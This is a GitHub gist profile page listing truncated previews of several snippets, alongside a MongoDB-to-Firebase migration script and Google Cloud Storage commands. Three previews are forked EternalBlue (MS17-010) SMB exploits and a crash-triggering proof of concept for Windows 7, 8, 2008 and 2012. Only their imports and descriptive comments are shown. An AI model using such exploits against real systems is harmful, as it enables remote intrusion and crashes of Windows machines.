Skip to content

Instantly share code, notes, and snippets.

View 9werayut's full-sized avatar
🏠
Working from home

Werayut Kumsuwan 9werayut

🏠
Working from home
  • GREENLINE SYNERGY CO.,LTD.
  • Thailand
View GitHub Profile
@9werayut
9werayut / eternalblue8_exploit.py
Created May 18, 2017 02:44 — forked from worawit/eternalblue8_exploit.py
Eternalblue exploit for Windows 8/2012
#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@9werayut
9werayut / eternalblue7_exploit.py
Created May 18, 2017 02:45 — forked from worawit/eternalblue7_exploit.py
Eternalblue exploit for Windows 7/2008
#!/usr/bin/python
from impacket import smb
from struct import pack
import os
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@9werayut
9werayut / ms17-010-bsod.py
Created May 18, 2017 02:45
eternalblue poc
from impacket import smb
from struct import pack
import sys
'''
PoC for trigger EternalBlue bug (BSOD)
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
'''
@9werayut
9werayut / migrate.js
Created November 14, 2017 17:41 — forked from ultimagriever/migrate.js
Migrate Mongo -> Firebase
/**
* Migrate MongoDB database to Firebase.
* Syntax: node migrate.js [-c || --collection=]<MongoDB Collection> [ [-h || --host=]<MongoDB URI>]
* If no args are provided, the MONGODB_URI
* env variable declared in the .env file
* will be used instead.
*/
const env = require('dotenv');
const firebase = require('firebase');
# สร้าง bucket
gsutil mb gs://[BUCKET]
# ลิสต์ files ใน bucket
gsutil ls gs://[BUCKET]
# ดูว่า bucket ขนาดเท่าไร (du: disk usage)
gsutil du -sh gs://[BUCKET]